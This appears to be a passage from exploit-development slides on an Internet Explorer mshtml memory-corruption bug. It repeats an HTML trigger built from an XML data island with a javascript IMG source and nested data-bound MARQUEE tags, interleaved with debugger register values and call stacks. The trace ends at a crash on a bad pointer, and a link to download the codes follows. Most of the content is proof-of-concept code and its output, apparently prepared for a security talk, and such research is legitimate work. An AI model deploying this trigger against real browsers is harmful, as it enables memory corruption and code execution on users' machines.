<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

ole32!ComPs_NdrDllCanUnloadNow+0xf5

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 0	DWORD PTR [EDI+0Ch] = 0x00000000
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

ntdll!RtlAllocateHeap+0xe5f

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 4	DWORD PTR [EDI+0Ch] = 0x006C0061
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x87654321

EXECUTION

mshtml!CRecordInstance::TransferToDestination+0x2a

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 4	DWORD PTR [EDI+0Ch] = 0x006C0061
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x006C0061

EXECUTION

mshtml!CRecordInstance::TransferToDestination+0x22

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 4	DWORD PTR [EDI+0Ch] = 0x006C0061
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x006C0061

EXECUTION

mshtml!CRecordInstance::TransferToDestination+0x25

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 4	DWORD PTR [EDI+0Ch] = 0x006C0061
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x006C0061

EXECUTION

mshtml!CXfer::TransferFromSrc

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 4	DWORD PTR [EDI+0Ch] = 0x006C0061
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x006C0061

EXECUTION

mshtml!CXfer::TransferFromSrc+0x34

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

MEMORY

DWORD PTR [EDI+08h] = 4	DWORD PTR [EDI+0Ch] = 0x006C0061
ESI = 1	DWORD PTR [EAX+EBX*4] = 0x006C0061

EXECUTION

```
{MOV ECX, DWORD PTR [EAX] DS:0023:006C0061=????????}
```

```
<XML ID=I><X><C><IMG SRC="javascript:alert('XSS')"></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>
```

THE END!!!

Download the codes from:
http://code.google.com/p/inception-h2hc/